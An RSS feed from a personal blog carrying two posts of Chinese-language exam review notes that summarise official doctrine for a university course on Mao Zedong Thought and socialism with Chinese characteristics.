<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Waldo Blog</title>
    <description>Every failure is leading towards success.</description>
    <link>http://WaIdo.github.io/</link>
    <atom:link href="http://WaIdo.github.io/feed.xml" rel="self" type="application/rss+xml" />
    <pubDate>Mon, 01 Jul 2019 08:52:57 +0000</pubDate>
    <lastBuildDate>Mon, 01 Jul 2019 08:52:57 +0000</lastBuildDate>
    <generator>Jekyll v3.8.5</generator>
    
      <item>
        <title>毛泽东思想和中国特色社会主义理论体系概论期末复习</title>
        <description>&lt;h1 id=&quot;邓小平理论三个代表重要思想科学发展观习近平新时代中国特色社会主义思想分别回答了什么问题主题以及各自的历史地位&quot;&gt;邓小平理论、“三个代表”重要思想、科学发展观、习近平新时代中国特色社会主义思想分别回答了什么问题（主题）以及各自的历史地位&lt;/h1&gt;

&lt;p&gt;（1）回答的问题&lt;/p&gt;

&lt;p&gt;邓小平理论：&lt;/p&gt;

&lt;p&gt;什么是社会主义、怎样建设社会主义，是邓小平在领导改革开放和现代化建设的过程中，不断提出和反复思考的首要的基本的理论问题。&lt;/p&gt;

&lt;p&gt;“三个代表”重要思想：&lt;/p&gt;

&lt;p&gt;在实行改革开放和发展社会主义市场经济的条件下，建设一个什么样的党、怎样建设党。&lt;/p&gt;

&lt;p&gt;科学发展观：&lt;/p&gt;

&lt;p&gt;科学发展观是马克思主义同当代中国实际和时代特征相结合的产物，是马克思主义关于发展的世界观和方法论的集中体现，对新形势下实现什么样的发展、怎样发展等重大问题作出了新的科学回答。&lt;/p&gt;

&lt;p&gt;习近平新时代中国特色社会主义思想：&lt;/p&gt;

&lt;p&gt;明确了新时代坚持和发展什么样的中国特色社会主义，也回答了新时代怎样坚持和发展中国特色社会主义，党的十九大概括为“十四个坚持”，即新时代中国特色社会主义基本方略&lt;/p&gt;

&lt;p&gt;（2）各自的历史地位&lt;/p&gt;

&lt;p&gt;邓小平理论：是马列主义、马泽东思想的继承和发展；
是中国特色社会主义理论体系的开篇之作；
是改革开放和社会主义现代化建设的科学指南&lt;/p&gt;

&lt;p&gt;“三个代表”重要思想：是中国特色社会主义理论体系的接续发展；是加强和改进党的建设，推进中国特色社会主义事业的强大理论武器。&lt;/p&gt;

&lt;p&gt;科学发展观：是中国特色社会主义理论体系的接续发展；
是发展中国特色社会主义必须长期坚持的指导思想。&lt;/p&gt;

&lt;p&gt;习近平新时代中国特色社会主义思想：
是马克思主义中国化最新成果；
是新时代的精神旗帜；
是实现中华民族伟大复兴的行动指南&lt;/p&gt;

&lt;h1 id=&quot;社会主义的本质&quot;&gt;社会主义的本质&lt;/h1&gt;

&lt;p&gt;社会主义的本质是解放生产力，发展生产力，消灭剥削，消除两极分化，最终达到共同富裕。&lt;/p&gt;

&lt;h1 id=&quot;社会主义的根本任务&quot;&gt;社会主义的根本任务&lt;/h1&gt;

&lt;p&gt;发展生产力&lt;/p&gt;

&lt;h1 id=&quot;党的基本路线在社会主义初级阶段&quot;&gt;党的基本路线（在社会主义初级阶段）&lt;/h1&gt;

&lt;p&gt;第一，建设“富强、民主、文明的社会主义现代化国家”，这是基本路线规定的党在社会主义初级阶段的奋斗目标，体现了社会主义社会全面发展的要求。&lt;/p&gt;

&lt;p&gt;第二，“一个中心、两个基本点”，以经济建设为中心，坚持四项基本原则，坚持改革开放，是正确认识和处理经济基础和上层建筑之间、生产力与生产关系之间辩证统一关系的内在要求&lt;/p&gt;

&lt;p&gt;第三，“领导和团结全国各族人民”，这是实现社会主义现代化奋斗目标的领导力量和依靠力量。&lt;/p&gt;

&lt;p&gt;第四，“自力更生，艰苦创业”，这是我们党的优良传统，也是实现社会主义初级阶段奋斗目标的根本立足点。&lt;/p&gt;

&lt;h1 id=&quot;社会主义初级阶段理论&quot;&gt;社会主义初级阶段理论&lt;/h1&gt;

&lt;p&gt;我国处在社会主义初级阶段，是邓小平和我们党对当代中国基本国情的科学判断，最大“实际”就是中国的基本国情&lt;/p&gt;

&lt;p&gt;社会主义初级阶段，就是指我国在生产力落后、商品经济不发达条件下建设社会主义必然要经历的特定阶段。&lt;/p&gt;

&lt;p&gt;社会主义初级阶段的论断包括两层含义：第一，我国已经进入社会主义社会，必须坚持而不能离开社会主义。第二，我国的社会主义社会还处在不发达的阶段，必须正视而不能超越初级阶段&lt;/p&gt;

&lt;h1 id=&quot;三个代表重要思想的核心观点&quot;&gt;“三个代表”重要思想的核心观点&lt;/h1&gt;

&lt;p&gt;中国共产党必须始终代表中国先进生产力的发展要求，&lt;/p&gt;

&lt;p&gt;代表中国先进文化的前进方向，&lt;/p&gt;

&lt;p&gt;代表中国最广大人民的利益&lt;/p&gt;

&lt;h1 id=&quot;科学发展观的科学内涵&quot;&gt;科学发展观的科学内涵&lt;/h1&gt;

&lt;p&gt;科学发展观，第一要义是发展，核心立场是以人为本，基本要求是全面协调可持续，根本方法是统筹兼顾&lt;/p&gt;

&lt;h1 id=&quot;以人为本的内容&quot;&gt;以人为本的内容&lt;/h1&gt;

&lt;p&gt;以人为本的“人”是指人民群众，就是以工人、农民、知识分子等劳动者为主体，包括社会各阶层人民在内的中国最广大人民；“本”就是根本，就是出发点和落脚点。坚持以人为本就是要坚持发展依靠人民，从人民群众的伟大创造中汲取智慧和力量&lt;/p&gt;

&lt;h1 id=&quot;新时代的内涵和意义&quot;&gt;新时代的内涵和意义&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;新时代内涵：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;第一，这个新时代是承前启后、继往开来，在新的历史条件下继续夺取中国特色社会主义伟大胜利的时代&lt;/p&gt;

&lt;p&gt;第二，这个新时代是决胜全面建成小康社会、进而全面建设社会主义现代化强国的时代。&lt;/p&gt;

&lt;p&gt;第三，这个新时代是全国各族人民团结奋斗、不断创造美好生活、逐步实现全体人民共同富裕的时代&lt;/p&gt;

&lt;p&gt;第四，这个新时代是全体中华儿女勠力同心、奋力实现中华民族伟大复兴中国梦的时代&lt;/p&gt;

&lt;p&gt;第五，这个时代是我国日益走近世界舞台中央、不断为人类作出更大贡献的时代&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;新时代意义：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;1、从中华民族复兴的历史进程看，中国特色社会主义进入新时代，意味着近代以来久经磨难的中华民族迎来了从站起来、富起来到强起来的伟大飞跃，迎来了实现中华民族伟大复兴的光明前景。&lt;/p&gt;

&lt;p&gt;2、从科学社会主义发展进程看，中国特色社会主义进入新时代，意味着科学社会主义在21世纪的中国焕发出强大生机活力，在世界上举起了中国特色社会主义伟大旗帜。&lt;/p&gt;

&lt;p&gt;3、从人类文明进程看，中国特色社会主义进入新时代，意味着中国特色社会主义道路、理论、制度、文化不断发展，拓展了发展中国家走向现代化的途径，给世界上那些既希望加快发展又希望保持自身独立性的国家和民族提供了全新选择，为解决人类问题贡献了中国智慧和中国方案。&lt;/p&gt;

&lt;h1 id=&quot;习近平新时代中国特色社会主义思想的核心要义与主要内容&quot;&gt;习近平新时代中国特色社会主义思想的核心要义与主要内容&lt;/h1&gt;

&lt;p&gt;坚持和发展中国特色社会主义，是改革开放以来我们党全部理论和时间的鲜明主题，也是习近平新时代中国特色社会主义思想的核心要义&lt;/p&gt;

&lt;h1 id=&quot;中国特色社会主义的基本方略&quot;&gt;中国特色社会主义的基本方略&lt;/h1&gt;

&lt;p&gt;“十四个坚持”：&lt;/p&gt;

&lt;p&gt;1、坚持党对一切工作的领导&lt;/p&gt;

&lt;p&gt;2、坚持以人民为中心&lt;/p&gt;

&lt;p&gt;3、坚持全面深化改革&lt;/p&gt;

&lt;p&gt;4、坚持发展新理念&lt;/p&gt;

&lt;p&gt;5、坚持人民当家作主&lt;/p&gt;

&lt;p&gt;6、坚持全面依法治国&lt;/p&gt;

&lt;p&gt;7、坚持社会主义核心价值体系&lt;/p&gt;

&lt;p&gt;8、坚持在发展中保障和改善民生&lt;/p&gt;

&lt;p&gt;9、坚持人与自然和谐共生&lt;/p&gt;

&lt;p&gt;10、坚持总体国家安全观&lt;/p&gt;

&lt;p&gt;11、坚持党对人民军队的绝对领导&lt;/p&gt;

&lt;p&gt;12、坚持“一国两制”和推进祖国统一&lt;/p&gt;

&lt;p&gt;13、坚持推动构建人类命运共同体&lt;/p&gt;

&lt;p&gt;14、坚持全面从严治党&lt;/p&gt;

&lt;h1 id=&quot;习近平新时代中国特色社会主义的主要思想&quot;&gt;习近平新时代中国特色社会主义的主要思想&lt;/h1&gt;

&lt;p&gt;最核心的内容就是党的十九大报告概括的“八个明确”&lt;/p&gt;

&lt;p&gt;1、明确坚持和发展中国特色社会主义，总任务是实现社会主义现代化和中华民族伟大复兴，在全面建成小康社会的基础上，分两步走在本世纪中叶建成富强民主文明和谐美丽的社会主义现代化强国&lt;/p&gt;

&lt;p&gt;2、明确新时代我国社会主要矛盾是人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾，必须坚持以人民为中心的发展思想，不断促进人的全面发展、全体人民共同富裕&lt;/p&gt;

&lt;p&gt;3、明确中国特色社会主义事业的总体布局是“五位一体”、战略布局是“四个全面”，前调坚定道路自信、理论自信、制度自信、文化自信&lt;/p&gt;

&lt;p&gt;4、明确全面深化改革总目标是完善和发展中国特色社会主义制度、推进国家治理体系和治理能力现代化&lt;/p&gt;

&lt;p&gt;5、明确全面推进依法治国总目标是建设中国特色社会主义法治体系、建设社会主义法治国家&lt;/p&gt;

&lt;p&gt;6、明确党在新时代的强军目标是建设一支听党指挥、能打胜仗、作风优良的人民军队，把人民军队建设成为世界一流军队&lt;/p&gt;

&lt;p&gt;7、明确中国特色大国外交要推动构建新型国际关系，推动构建人类命运共同体&lt;/p&gt;

&lt;p&gt;8、明确中国特色社会主义最本质的特征是中国共产党领导，中国特色社会主义制度的最大优势是中国共产党领导，党是最高政治领导力量，提出新时代党的建设总要求，突出政治建设在党的建设中的重要地位&lt;/p&gt;

&lt;h1 id=&quot;如何理解新时代我国社会主要矛盾的变化&quot;&gt;如何理解新时代我国社会主要矛盾的变化&lt;/h1&gt;

&lt;p&gt;十九大指出，我国社会主要矛盾已经转化为人民日益增长的美好生活需要和不平衡不充分的发展之间的矛盾&lt;/p&gt;

&lt;p&gt;第一，经过改革开放40年的发展，我国社会生产力水平总体上显著提高，很多方面进入世界前列&lt;/p&gt;

&lt;p&gt;第二，人民生活水平显著提高，对美好生活的向往更加强烈&lt;/p&gt;

&lt;p&gt;第三，影响没人们美好生活需要的因素很多，但主要是发展的不平衡不充分问题&lt;/p&gt;

&lt;p&gt;这些发展不平衡不充分问题相互制约，带来很多社会矛盾和问题，是当前和今后制约我国发展和满足人民日益增长的美好生活需要的主要根源。我国社会主要矛盾的变化是关系全局的历史性变化，对党和国家工作提出了许多新要求。我国社会主要矛盾的变化，没有改变我们对我国社会主义所处历史阶段的判断，我国仍处于并将长期处于社会主义初级阶段的基本国情没有变，我国是世界最大发展中国家的国际地位没有变。&lt;/p&gt;

&lt;h1 id=&quot;中国梦的本质科学内涵&quot;&gt;中国梦的本质/科学内涵&lt;/h1&gt;

&lt;p&gt;中国梦视野宽广、内涵丰富、意蕴深远。习近平指出：“中国梦的本质是国家富强、民族振兴、人民幸福”&lt;/p&gt;

&lt;h1 id=&quot;中国梦的实现路程&quot;&gt;中国梦的实现路程&lt;/h1&gt;

&lt;p&gt;实现中国梦必须走中国道路，这就是中国特色社会主义道路&lt;/p&gt;

&lt;p&gt;实现中国梦必须弘扬中国精神，这就是以爱国主义为核心的民族精神和以改革创新为核心的时代精神&lt;/p&gt;

&lt;p&gt;实现中国梦必须凝聚中国力量，这就是全国各族人民大团结的力量&lt;/p&gt;

&lt;h1 id=&quot;实现社会主义现代化强国两步走战略&quot;&gt;实现社会主义现代化强国“两步走”战略&lt;/h1&gt;

&lt;p&gt;从2020年到2035年。全面建成小康社会的基础上，再奋斗15年，基本实现社会主义现代化。&lt;/p&gt;

&lt;p&gt;从2035年到本世纪中叶，在基本实现现代化的基础上，再奋斗15年，把我国建成富强民主文明和谐美丽的社会主义现代化强国。&lt;/p&gt;

&lt;h1 id=&quot;五位一体总体布局选择题&quot;&gt;“五位一体”总体布局（选择题）&lt;/h1&gt;

&lt;p&gt;经济建设、政治建设、文化建设、社会建设、生态文明建设&lt;/p&gt;

&lt;p&gt;18.新发展理念的科学内涵&lt;/p&gt;

&lt;p&gt;创新是引领发展的第一动力&lt;/p&gt;

&lt;p&gt;协调是持续健康发展的内在要求&lt;/p&gt;

&lt;p&gt;绿色是永续发展的必要条件&lt;/p&gt;

&lt;p&gt;开放是国家繁荣发展的必由之路&lt;/p&gt;

&lt;p&gt;共享是中国特色社会主义的本质要求&lt;/p&gt;

&lt;p&gt;创新、协调、绿色、开放、共享的新发展理念，相互贯通、相互促进，是具有内在联系的集合体&lt;/p&gt;

&lt;h1 id=&quot;三去一降一补去产能去库存去杠杆降成本补短板&quot;&gt;“三去一降一补”（去产能、去库存、去杠杆、降成本、补短板）&lt;/h1&gt;

&lt;p&gt;坚持去产能、去库存、去杠杆、降成本、补短板&lt;/p&gt;

&lt;h1 id=&quot;建设现代化经济体系要突出抓好哪些方面的工作怎样建设p213-214&quot;&gt;建设现代化经济体系要突出抓好哪些方面的工作（怎样建设）p213-214&lt;/h1&gt;

&lt;p&gt;1、大力发展实体经济&lt;/p&gt;

&lt;p&gt;2、加快实施创新驱动发展战&lt;/p&gt;

&lt;p&gt;3、激发各类市场主动活力&lt;/p&gt;

&lt;p&gt;4、积极推动城乡区域协调发展&lt;/p&gt;

&lt;p&gt;5、着力发展开放型经济&lt;/p&gt;

&lt;p&gt;6、加快完善社会主义市场经济体制&lt;/p&gt;

&lt;h1 id=&quot;中国特色社会主义民族政治的重要内容p216-217&quot;&gt;中国特色社会主义民族、政治的重要内容p216-217&lt;/h1&gt;

&lt;p&gt;1、健全完善人民代表大会是我国的根本政治制度&lt;/p&gt;

&lt;p&gt;2、发挥社会主义协商民主的重要作用&lt;/p&gt;

&lt;p&gt;3、坚持和领导中国共产党领导的多党合作和政治协商制度是我国的一项基本政治制度&lt;/p&gt;

&lt;p&gt;4、民族区域自治制度是我国的一项基本政治制度&lt;/p&gt;

&lt;p&gt;5、基层群众自治制度是我国的一项基本政治制度&lt;/p&gt;

&lt;h1 id=&quot;中国特色社会主义政治发展道路&quot;&gt;中国特色社会主义政治发展道路&lt;/h1&gt;

&lt;p&gt;走中国特设社会主义政治发展道路，必须坚持党的领导、人民当家作主、依法治国有机统一&lt;/p&gt;

&lt;p&gt;走中国特设社会主义政治发展道路，必须坚持正确政治方向。&lt;/p&gt;

&lt;h1 id=&quot;实现国家统一的最佳方式p219-222&quot;&gt;实现国家统一的最佳方式p219-222&lt;/h1&gt;

&lt;p&gt;1、全面贯彻“一国两制”方针&lt;/p&gt;

&lt;p&gt;必须始终准确把握“一国”和 “两制”的关系。必须始终依照宪法和基本法办事。必须始终聚焦发展这个第一要务。必须始终维护和谐稳定的社会环境。&lt;/p&gt;

&lt;p&gt;2、扎实推进祖国和平统一进程&lt;/p&gt;

&lt;p&gt;解决台湾问题、实现祖国完全统一，是全体中华儿女共同愿望，是中华民族根本利益所在，是新时达中国共产党、中国政府的三大历史任务之一。&lt;/p&gt;

&lt;p&gt;坚持“和平统一、一国两制”防止。“和平统一、一国两制”是我们解决台湾问题的基本方针，也是实现国家统一的最佳方式。&lt;/p&gt;

&lt;p&gt;推动两岸关系和谐发展。坚持一个中国原则和“九二共识”。坚持反对和遏制任何形式的“台独”。秉承和践行“两岸一家亲”理念。携手同心共圆民族复兴中国梦。&lt;/p&gt;

&lt;h1 id=&quot;社会主义核心价值观的主要内容&quot;&gt;社会主义核心价值观的主要内容&lt;/h1&gt;

&lt;p&gt;富强、民主、文明、和谐，自由、平等、公正、法治，爱国、敬业、成信、友善&lt;/p&gt;

&lt;h1 id=&quot;总体国家安全观的含义p235&quot;&gt;总体国家安全观的含义p235&lt;/h1&gt;

&lt;p&gt;总体国家安全观是指坚持国家利益至上，以人民安全为宗旨，以政治安全为根本，以经济安全为基础，以军事、文化、社会安全为保障，以促进国际安全为依托，维护各领域国家安全，构建国家安全体系，走中国特色国家安全道路。&lt;/p&gt;

&lt;h1 id=&quot;生态文明的核心&quot;&gt;生态文明的核心&lt;/h1&gt;

&lt;p&gt;生态文明建设的核心是坚持人与自然和谐共生。&lt;/p&gt;

&lt;p&gt;尊重自然，是人与自然相处时应秉持的首要态度&lt;/p&gt;

&lt;p&gt;顺应自然，是人与自然相处时应遵循的基本原则&lt;/p&gt;

&lt;p&gt;保护自然，是人与自然相处时应承担的重要责任&lt;/p&gt;

&lt;h1 id=&quot;四个全面战略布局&quot;&gt;“四个全面”战略布局&lt;/h1&gt;

&lt;p&gt;全面建成小康社会；全面深化改革；全面依法治国；全面从严治党&lt;/p&gt;

&lt;h1 id=&quot;全面建成小康社会的内涵&quot;&gt;全面建成小康社会的内涵&lt;/h1&gt;

&lt;p&gt;全面小康，覆盖的人口要全面，是惠及全体人民的小康&lt;/p&gt;

&lt;p&gt;全面小康，覆盖的区域要全面，是城乡区域共同发展的小康&lt;/p&gt;

&lt;p&gt;没有农村的全面小康和欠发达地区的全面小康，就没有全国的全面小康&lt;/p&gt;

&lt;h1 id=&quot;全面深化改革的总目标&quot;&gt;全面深化改革的总目标&lt;/h1&gt;

&lt;p&gt;完善和发展中国特色社会主义制度，推进国家治理体系和治理能力现代化, 这两句话是一个整体，前一句规定了根本方向，后一步规定了实现路径。&lt;/p&gt;

&lt;h1 id=&quot;全面深化改革过程中应该把握和处理好哪些重大关系五大方面p253-255&quot;&gt;全面深化改革过程中应该把握和处理好哪些重大关系（五大方面）p253-255&lt;/h1&gt;

&lt;p&gt;1.处理好解放思想和实事求是的关系&lt;/p&gt;

&lt;p&gt;2.处理好顶层设计和摸着石头过河的关系&lt;/p&gt;

&lt;p&gt;3.处理好整体推进和重点突破的关系&lt;/p&gt;

&lt;p&gt;4.处理好胆子要大、步子要稳的关系&lt;/p&gt;

&lt;p&gt;5.处理好改革、发展、稳定的关系&lt;/p&gt;

&lt;h1 id=&quot;中国特色社会主义的本质要求和重要保障&quot;&gt;中国特色社会主义的本质要求和重要保障&lt;/h1&gt;

&lt;p&gt;全面依法治国&lt;/p&gt;

&lt;h1 id=&quot;全面依法治国的总目标&quot;&gt;全面依法治国的总目标&lt;/h1&gt;

&lt;p&gt;总目标：建设中国特色社会主义法制体系，建设社会主义法治国家&lt;/p&gt;

&lt;p&gt;1、推进中国特色社会主义法治体系建设。首先要完善以宪法为核心的中国特色社会主义法律体系。其次要建立严密的法治监督体系。再次是要进一步健全法治保障体系。&lt;/p&gt;

&lt;p&gt;2、深化依法治国实践。加强宪法实施和监督，推进合宪法性审查工作，维护宪法权威。&lt;/p&gt;

&lt;h1 id=&quot;新时代党的建设的总要求&quot;&gt;新时代党的建设的总要求&lt;/h1&gt;

&lt;p&gt;总要求：坚持和加强党的全面领导，坚持党要管党、全面从严治党，以加强党的长期执行能力建设、先进性和纯洁性建设为主线，以党的政治建设为统领，以坚定理想信念宗旨为根基，以调动全党积极性、主动性、创造性为着力点，全面推进党的政治建设、思想建设、组织建设、作风建设、纪律建设，把党建设成为始终走在时代前列、人民衷心拥护、勇于自我改革、经得起各种风浪考验、朝气蓬勃的马克思主义执政党。&lt;/p&gt;

&lt;p&gt;“坚持党要管党、全面从严治党”是新时代党的建设的根本方针。&lt;/p&gt;

&lt;p&gt;“把党建设成为始终走在时代前列、人民衷心拥护、勇于自我改革、经得起各种风浪考验、朝气蓬勃的马克思主义执政党。”是新时代党的建设的目标&lt;/p&gt;

&lt;h1 id=&quot;人民军队战无不胜的根本保证&quot;&gt;人民军队战无不胜的根本保证&lt;/h1&gt;

&lt;p&gt;党的领导是人民军队战无不胜的根本保证&lt;/p&gt;

&lt;h1 id=&quot;建设一带一路的基本原则&quot;&gt;建设“一带一路”的基本原则&lt;/h1&gt;

&lt;p&gt;共建“一带一路”恪守联合国宪章的宗旨和原则，坚持开放合作、和谐包容、市场运作、互利共赢。&lt;/p&gt;

&lt;p&gt;秉持和平合作、开放包容、互学互鉴、互利共赢理念。&lt;/p&gt;

&lt;p&gt;全方位推进务实合作，打造政治互信、经济融合、文化包容的利益共同体、命运共同体和责任共同体&lt;/p&gt;

&lt;p&gt;以政策沟通、设施联通、贸易畅通、资金融通、民心相通为主要内容加强合作&lt;/p&gt;

&lt;h1 id=&quot;新型国际关系的核心&quot;&gt;新型国际关系的核心&lt;/h1&gt;

&lt;p&gt;我国倡导的新型国际关系是相互尊重、公平正义、合作共赢的国际关系。其核心是维护联合国宪章的宗旨和原则，维护不干涉别国内政和尊重国家主权、独立、领土完整等国际关系的基本准则。&lt;/p&gt;

&lt;h1 id=&quot;构建人类命运共同体思想的科学内涵&quot;&gt;构建人类命运共同体思想的科学内涵&lt;/h1&gt;

&lt;p&gt;构建人类命运共同体思想是一个科学完整、内涵丰富、意义深远的思想体系，其核心是“建设持久和平、普遍安全、共同繁荣、开放包容、清洁美丽的世界”&lt;/p&gt;

&lt;p&gt;其内涵有以下五个方面：&lt;/p&gt;

&lt;p&gt;1、政治上相互尊重、平等协商。&lt;/p&gt;

&lt;p&gt;2、安全上以对话解决争端、以协商化解分歧。&lt;/p&gt;

&lt;p&gt;3、经济上坚持同舟共济，推动经济全球化发展。&lt;/p&gt;

&lt;p&gt;4、文化上尊重世界文明的多样性。&lt;/p&gt;

&lt;p&gt;5、生态上要合作应对气候变化，保护好人类赖以生存的共同家园。&lt;/p&gt;

&lt;h1 id=&quot;中国特色社会主义最本质的特征和制度的最大优势&quot;&gt;中国特色社会主义最本质的特征和制度的最大优势&lt;/h1&gt;

&lt;p&gt;（1）中国共产党的领导是中国特色社会主义最本质的特征&lt;/p&gt;

&lt;p&gt;①这是由科学社会主义的理论逻辑所决定的&lt;/p&gt;

&lt;p&gt;②这是由中国特色社会主义产生于发展的历史逻辑所决定的&lt;/p&gt;

&lt;p&gt;③这是由中国特色社会主义迈向新征程的实践逻辑所决定的&lt;/p&gt;

&lt;p&gt;（2）中国共产党的领导是中国特色社会主义最大优势&lt;/p&gt;

&lt;p&gt;①中国特色社会主义制度是党领导人民创建的&lt;/p&gt;

&lt;p&gt;②党的领导是充分发挥中国特色社会主义制度优势的根本保障&lt;/p&gt;

&lt;p&gt;③党的自身优势是中国特色社会主义制度优势的主要来源&lt;/p&gt;

&lt;h1 id=&quot;新时代中国共产党的历史使命p301&quot;&gt;新时代中国共产党的历史使命p301&lt;/h1&gt;

&lt;p&gt;新时代中国共产党的历史使命，就是统揽伟大斗争、伟大工程、伟大事业、伟大梦想，在全面建成小康社会的基础上全面建成社会主义现代化强国，实现中华民族伟大复兴的中国梦。&lt;/p&gt;

&lt;h1 id=&quot;如何实现伟大梦想&quot;&gt;如何实现伟大梦想&lt;/h1&gt;

&lt;p&gt;实现伟大梦想，必须进行具有许多新的历史特点的伟大斗争&lt;/p&gt;

&lt;p&gt;实现伟大梦想，必须深入推进党的建设新的伟大工程&lt;/p&gt;

&lt;p&gt;实现伟大梦想，必须推进中国特色社会主义伟大事业&lt;/p&gt;
</description>
        <pubDate>Sun, 30 Jun 2019 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2019/06/30/%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0(%E7%AC%AC%E4%BA%94%E7%AB%A0%E4%BB%A5%E5%90%8E)/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2019/06/30/%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0(%E7%AC%AC%E4%BA%94%E7%AB%A0%E4%BB%A5%E5%90%8E)/</guid>
        
        
      </item>
    
      <item>
        <title>毛泽东思想和中国特色社会主义理论体系概论期末复习</title>
        <description>&lt;h1 id=&quot;第一章-毛泽东思想及其历史地位&quot;&gt;第一章 毛泽东思想及其历史地位&lt;/h1&gt;
&lt;h2 id=&quot;什么是马克思主义中国化-在中国革命建设和改革的历史进程中实现了怎样的历史性飞跃&quot;&gt;什么是马克思主义中国化? 在中国革命、建设和改革的历史进程中实现了怎样的历史性飞跃?&lt;/h2&gt;

&lt;p&gt;马克思主义中国化是马克思主义基本原理同中国具体实际和时代特征结合起来，运用马克思主义的立场、观点和方法研究和解决中国革命、建设、改革中的实际问题；就是总结和提炼中国革命、建设、改革中的实际问题，从而认识和掌握客观规律，为马克思主义理论宝库增添新的内容；就是运用中国人民喜闻乐见的民族语言来阐述马克思主义理论，使之成为具有中国特色、中国风格、中国气派的马克思主义。&lt;/p&gt;

&lt;p&gt;第一次历史性飞跃发生在新民主主义革命时期，形成了毛泽东思想&lt;/p&gt;

&lt;p&gt;第二次历史性飞跃发生在社会主义进入改革开放的新时期，形成了包括邓小平理论、“三个代表”重要思想、科学发展观、习近平新时代中国特色社会主义思想在内的中国特色社会主义理论体系。&lt;/p&gt;

&lt;h2 id=&quot;毛泽东思想在哪些方面以独创性的理论丰富和发展了马克思列宁主义毛泽东思想的主要内容是什么&quot;&gt;毛泽东思想在哪些方面以独创性的理论丰富和发展了马克思列宁主义(毛泽东思想的主要内容是什么?)&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;新民主主义革命理论&lt;/li&gt;
  &lt;li&gt;社会主义革命和社会主义建设理论&lt;/li&gt;
  &lt;li&gt;革命军队建设和军事战略的理论&lt;/li&gt;
  &lt;li&gt;政策和策略的理论&lt;/li&gt;
  &lt;li&gt;思想政治工作和文化工作的理论&lt;/li&gt;
  &lt;li&gt;党的建设理论&lt;/li&gt;
  &lt;li&gt;国际战略和外交工作的理论&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;毛泽东思想活的灵魂是什么&quot;&gt;毛泽东思想活的灵魂是什么?&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;实事求是&lt;/li&gt;
  &lt;li&gt;群众路线&lt;/li&gt;
  &lt;li&gt;独立自主&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;实事求是，就是一切从实际出发，理论联系实际，坚持在实践中检验真理和发展真理&lt;/p&gt;

&lt;p&gt;群众路线，就是一切为了群众，一切依靠群众，从群众中来，到群众中去，把党的正确主张变为群众的自觉行动&lt;/p&gt;

&lt;p&gt;独立自主，就是坚持独立思考，走自己的路，就是坚定不移地维护民族独立、捍卫国家主权，把立足点放在依靠自己力量的基础上，同时积极争取外援，开展国际经济文化交流，学习外国一切对我们有益的先进事物&lt;/p&gt;

&lt;h2 id=&quot;什么是毛泽东思想&quot;&gt;什么是毛泽东思想?&lt;/h2&gt;

&lt;p&gt;毛泽东思想是马克思主义中国化第一次历史性飞跃的理论成果，毛泽东思想在新民主主义革命、社会主义革命和社会主义建设、革命军队建设和军事战略、政策和策略、思想政治工作和文化工作、党的建设、国际战略和外交工作等方面，以独创性的理论丰富和发展了马克思列宁主义。实事求是、群众路线、独立自主是毛泽东把辩证唯物主义和历史唯物主义运用到中国革命和建设实践中所形成的具有中国共产党人鲜明特色的立场、观点、方法，是我们党进行革命、建设和改革的出发点、根本点和立足点。&lt;/p&gt;

&lt;p&gt;在马克思主义中国化的历史进程中，毛泽东思想为中国特色社会主义理论体系的形成奠定了理论基础。尤其是毛泽东思想关于社会主义建设的理论，为开创和发展中国特色社会主义作了重要的理论准备。&lt;/p&gt;

&lt;p&gt;此外，毛泽东思想运用中国人民喜闻乐见的民族语言来解释深刻道理。它所体现的独特理论风格给新时期党的理论创新、进一步推进马克思主义大众化以重要的启迪。&lt;/p&gt;

&lt;p&gt;毛泽东思想所确立的马克思主义中国化的奋斗方向、基本原则和基本方法，指导着我们党不断推进马克思主义中国化，不断开辟马克思主义中国化新境界&lt;/p&gt;

&lt;h2 id=&quot;如何科学评价毛泽东&quot;&gt;如何科学评价毛泽东&lt;/h2&gt;

&lt;p&gt;毛泽东是伟大的马克思主义者、伟大的无产阶级革命家、战略家和理论家。他为中国共产党和中国人民解放军的创立和发展，为中国各族人民解放事业的胜利，为中华人民共和国的缔造和社会主义事业的发展，建立了不可磨灭的功勋，为世界被压迫民族的解放和人类进步事业作出了重大贡献。&lt;/p&gt;

&lt;p&gt;毛泽东的功绩是第一位的，错误是第二位的。他的错误是一个伟大的革命家、一个伟大的马克思主义者所犯的错误。将毛泽东晚年的错误同经过长期历史检验形成为科学理论的毛泽东思想区别开来，为完整准确地理解毛泽东思想、坚持和发展毛泽东思想指明了方向。&lt;/p&gt;

&lt;h2 id=&quot;如何认识毛泽东思想的历史地位和指导作用&quot;&gt;如何认识毛泽东思想的历史地位和指导作用？&lt;/h2&gt;
&lt;p&gt;第一，毛泽东思想是马克思主义中国化第一次历史性飞跃的理论成果，是中国共产党的指导思想。&lt;/p&gt;

&lt;p&gt;第二，毛泽东思想是夺取中国革命胜利的理论武器，是社会主义中国立国建国的思想政治基础，是中国特色社会主义理论的思想渊源和理论先导，是中华民族团结振兴的精神支柱。&lt;/p&gt;

